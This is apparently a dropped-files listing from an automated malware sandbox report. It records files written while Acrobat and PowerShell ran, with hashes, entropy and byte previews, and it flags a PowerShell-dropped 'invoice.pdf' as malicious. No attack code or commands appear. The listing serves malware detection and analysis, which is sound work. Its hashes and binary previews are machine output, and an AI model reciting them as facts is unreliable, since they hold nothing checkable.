Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.268344103061437
Encrypted:	false
SSDEEP:	6:YEQXJ2HXq/m/4Hp0VoZcg1vRcR0Ypjg1eoAvJTqgFCrPeUkwRe9:YvXKXq/DHp1Zc0vsEVGTq16Ukee9
MD5:	F6C1A334259AAE4CB3FE2A5045331689
SHA1:	B057AB34ABBFC3B4D0354742C636077A43ACA94F
SHA-256:	B6500BE40CC2C1F6C415973429F89C6F254EBDD43C4F50729B46213D21328D51
SHA-512:	5082AE21C1B3C99900F8B23F0E4557CA575BC95FB941AB4DDF569BA51F46E0E2BE7706F718F571CC128C8102A803E42C3A617F98356AD67DBC6E001C18DA58B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bed9a704-d5a5-4e8c-9db6-9ac7d8212f70","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737100867622,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131715248482034
Encrypted:	false
SSDEEP:	48:YbCuvtj0++NX1MIqV+nMpPKIpwxZRi29e:8Cuvtjp+11qV+nulwxZne
MD5:	835BE48AB979BFA72344A38B695D03B9
SHA1:	AB37A4CAD4704637392150E6F5F69005B8FD2F6C
SHA-256:	3EBB16D9E85C602470D38739BD6CFF7D79FAF17E596B4E2112EF18FE10BBB324
SHA-512:	B950AD723949095DE0D0626592177D0D40943F9CE7BC7DA3E1A0778570EC739D346222FEB964306EF956E8F45E9784CAA870EB2F3F50C2AF588919F673046011
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1cd56daea75fb5becfd0e5c394d24953","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736925082000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"112f08abb20be50404a8793e0ea113e2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736925082000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"cc72a37804a8d09b782150a1c5e27deb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736925082000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2895e3dcdf4d0e5aef32820d4d0e3895","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736925082000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2ce20bbd3024551df5f9a904d40914f0","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736925082000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e412763641069ab4667a45d0213e67c4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1867429359715576
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUNSvR9H9vxFGiDIAEkGVvpV:lNVmswUUUUUUUUN+FGSIt5
MD5:	BA2A32C4DD61DDDC92BAE20D70163FE4
SHA1:	A1476077565C0B6AE81472F9705F8D98B18158E8
SHA-256:	08B24357D427E761EFEF3F95C8FECA2ACC23FACAC34DEDB50ACE9B765BE17067
SHA-512:	6B982C9DD9504C23B0046511E9783A3F7C7F775A5BF1B53BDA8659CF1EF6F17DED98DB0EE4C8ABE820170D41B3E61BA38547A60D06A1D968E5673CB975AC55E6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.606284858749
Encrypted:	false
SSDEEP:	48:7M9KUUUUUUUUUU1vR9H9vxFGiDIAEkGVvhqFl2GL7msr:7zUUUUUUUUUUxFGSItDKVmsr
MD5:	69EC6CA9495A39D5E867D8B50D0B5FD8
SHA1:	13B08C94F98964AF6DAA0C094103B5424D303499
SHA-256:	684EF76E288852969933F6552DB7DE91A49F2DF050DC2941F94AF61FDD0C7425
SHA-512:	DDAC63B387D7222F7DD0B90EC29CA121AECFDE20C5781652D8AACE90BFAA29E16713DC58ACF216FADA58EA81E937B939D3809DF76FA2C8892E982D0F46ABB57E
Malicious:	false
Preview:	.... .c......V.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgfBamcjTl2XObZQ9lvXkg08vVfYyu:6a6TZ44ADE4mITl2ebZpUdK
MD5:	5EAE54775F73732753E0F8A689197598
SHA1:	0701D487E4A96D9D56AE85971AED3CE95A93A24A
SHA-256:	1B80B438FC868B813EB6B64328762FBE836DCFB275E180EFFC5A77A3887D479E
SHA-512:	EC790A3C826AE6C137F47A71ED0462BCD43A0FBEFD008E6F5A7C0816E96DE12447375D3A9A53FF89E225F9883C349B5B4BC306339CA1E7CA71DADBF07AF40A95
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIf7bfa.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8+pClElW:Qw946cPbiOxDlbYnuRKZBW
MD5:	720FD6BFE8A00598D9CEB37ADDC85196
SHA1:	7B0F560F2BD10A959DB0C84530B1F2BA4CA73128
SHA-256:	FD8AA0238B48E2F7CD54CE33E1D069D66CFC5BB5558007D65E65E2B124DE1D62
SHA-512:	B1B3570C903958900801ED1AB10A519F6F49A8C486CDDC816C6D393349A57F267D1D18E21180C032DC98B3572BE0C8F4734F2D9B131A68E88920402414E5F6D9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.5./.0.1./.2.0.2.5. . .0.2.:.1.1.:.2.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_btxlqypj.5ou.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nplmo455.mzi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-15 02-11-18-916.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.356672971050245
Encrypted:	false
SSDEEP:	384:aKEjs2xfipEqwxkdEdWvjZ8hdyHLNUYLd+fDJtKM69AiBknA4rHmLALmz7f5UFVZ:KYS
MD5:	9C3029B55EAEF50F621273913EF67D65
SHA1:	157508F11F279A0CF7605F3A944BB3563EB5DB47
SHA-256:	466B42D3DCDCE4DD3B5D578E73ADEC14CB10BE612255AF12E614961F31DBDBD8
SHA-512:	5B007EC131321C4CDD5CF8770743949D7C9847E127525E4719ABE7D778B453612FF6AA02FA8326C369ABD0C8807673734183DCD13E1ADC580EDA81DF32FBD7E7
Malicious:	false
Preview:	SessionID=6863bd8d-e5d3-4239-be71-b4e39cb1c0ea.1736925078928 Timestamp=2025-01-15T02:11:18:928-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6863bd8d-e5d3-4239-be71-b4e39cb1c0ea.1736925078928 Timestamp=2025-01-15T02:11:18:929-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6863bd8d-e5d3-4239-be71-b4e39cb1c0ea.1736925078928 Timestamp=2025-01-15T02:11:18:929-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6863bd8d-e5d3-4239-be71-b4e39cb1c0ea.1736925078928 Timestamp=2025-01-15T02:11:18:929-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6863bd8d-e5d3-4239-be71-b4e39cb1c0ea.1736925078928 Timestamp=2025-01-15T02:11:18:929-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.387600028492095
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rX:fDegT3fmdhBPSa044gZTCv
MD5:	894EB1D77D41CC25D6F9DBC2BE09B98F
SHA1:	6881E13CA1F5A96DE6825FC8706A1AAAEB8DB3A6
SHA-256:	8E7E665A538325CF0ACCF5F0B2B3C2F40A98A625292374F9CFA8C297A263272B
SHA-512:	8142AEEE0625D62474F4AA40A0F28A7ED51D2B63A93283DF96851EDBCAC8CBD8FF68DFF1D3869F6FF898DD6B03ED7A8C7FD9428CA402BC7EBC8CA87F86F77C2F
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1220e11c-a4c0-485d-8137-56e3635c3830.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\1ee8d504-7b7d-4225-a271-adf5b44099c4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6934e6d7-2f57-410e-8c65-5bf4ffae00ad.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d3d0802d-687e-48a1-bc06-e359ac049cdb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWL07oXGZIZwYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxXGZIZwZGM3mlind9i4ufFXpAXkru
MD5:	AAAAB43627E96B02BC54A78F0EE8E32C
SHA1:	03808205C51BA031BF69F0DF07C9C80835098104
SHA-256:	B9ED5860C1528CAE5717E553381762D9C4ED093E546F7500F55B6B18B5C20CEA
SHA-512:	A476038C2BC9573AFA12D831678C0D2A6EFF0C1E065F7D214A0D5684E79AA7F02710DF30524DE0E6EC90CB660E581531DFA57F038EE1BC285B9BC3DAE17D133D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

